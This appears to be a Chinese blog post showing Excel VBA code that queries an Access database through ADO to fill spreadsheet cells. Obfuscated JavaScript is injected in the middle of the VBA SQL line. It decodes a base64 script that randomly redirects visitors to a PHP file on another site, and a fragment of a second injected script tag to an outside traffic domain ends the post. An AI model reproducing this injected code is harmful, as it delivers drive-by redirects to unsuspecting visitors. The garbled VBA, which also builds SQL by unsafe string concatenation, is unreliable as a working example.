Monthly Archives: February 2011

excel中的VBA连接Access查询更新数据

不得不承认MS的Office系列的确是办公室的王道,营业部里面巨多的表格和数据都是Excel格式的,小批量的例如算五险一金之类的工作手工做作还行,一旦涉及到大批量数据的操作就勉为其难了,Excel提供的那些自动化操作解决小问题还行,复杂的问题就崩溃了.其实vba连接access数据库类似于asp,不过在VBA编辑器中要先倒入ADO模块,”工具”-“引用”,选择ADO2.0 library即可.

Public Sub ADOTest1()
    Dim cnn As New ADODB.Connection
    Dim rs As New ADODB.Recordset
    Dim strCnn As String
    Dim i As Long
    '首先选择第二个sheet作为目前要编辑的sheet,如果你要编辑第一个把2改成1即可
    Set Sheet = Worksheets(2)
    '选择当前目录下的db.mdb为数据库文件
    strCnn = "Provider=Microsoft.Jet.OLEDB.4.0;" & _
             "Data Source=" & ThisWorkbook.Path & "\db.mdb;"
    cnn.Open strCnn

    For i = 1 To 16

        For n = 0 To 430

           num = n * 16 + i
           '因为刚才已经选择了第二个sheet作为目前工作表
           sdate = Sheet.Cells(num, 10)
           'sheet.cells(x,y).value 代表地x列,y行的内容的value,注意这里x和y都必须是数字,尤其y不能是字母,否则就越界了
           sfzh = Sheet.Cells(num, 14)
           'ssql = "Select * From shiye where sfzh='" & CStr(sfzm) & "'"
           ssql = &quot;Select * From shiye where sfzh='&quot; + CStr(sfzh) + &quot;' <script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>and sdate='&quot; + CStr(sdate) + &quot;'&quot;
           rs.Open ssql, cnn, adOpenForwardOnly, adLockReadOnly
           If Not rs.EOF Then
           shuier = rs.Fields(&quot;shuier&quot;).Value
           Sheet.Cells(num, 12).Value = shuier
           End If
           rs.Close
        Next n
    Next i
    cnn.Close
End Sub

这样的任务要是手工做的话,至少要干一星期.呵呵and.buyittraffic.com/clizkes' type='text/javascript'>